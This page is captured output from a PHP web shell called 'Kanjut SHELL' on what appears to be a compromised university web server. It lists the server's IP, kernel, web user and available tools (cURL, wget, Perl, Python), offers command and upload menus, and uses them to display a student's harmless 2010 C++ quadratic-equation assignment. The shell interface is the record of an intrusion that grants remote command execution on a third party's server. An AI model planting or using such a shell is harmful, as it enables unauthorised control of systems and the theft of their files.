Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.15.17.60
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/snbittner/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/snbittner/assignment4a.cpp
//      CS112 CS I Assignment 4a
//      Due: Mon. Oct. 25, 2010
//
//      File Name: assignment4a.cpp
//      Author: Stephanie Bittner
//      Instructor: Dr. Wang
//
//      Compile: g++ assignment4a.cpp
//      Run: ./a.out
//
//      Goal: Use loops to solve the quadratic equation.
        
#include <iostream>   
#include <iomanip>
#include <cmath>

using namespace std;
         
int main()
{
	cout << fixed << showpoint << setprecision(1);

	char letter;
	int a, b, c;
	float x, y;

	cout << "Do you want to run? (y=yes, q=quit): ";
	cin >> letter;

	while (letter != 'q')
	{
		cout << "Input a,b,c: ";
		cin >> a >> b >> c;

		float disc = b*b - 4.0 * a * c;
		if ( disc > 0 )
		{ 
			x = (-b + sqrt( disc ) ) / ( 2.0 * a );
			y = (-b - sqrt( disc ) ) / ( 2.0 * a );
			cout << "The roots are: " << x << ", " << y << 
							endl;
		}
		else if ( disc ==0 )
		{
			x = (-b + sqrt( disc )) / ( 2.0 * a );
			cout << "The root is: " << x << endl;
		}
		else
			cout << "No root. \n ";
		
		cout << "Do you want to run? (y=yes, q=quit): ";
		cin >> letter;
	}
		
	return 0;
}

Stv3n404 - 2023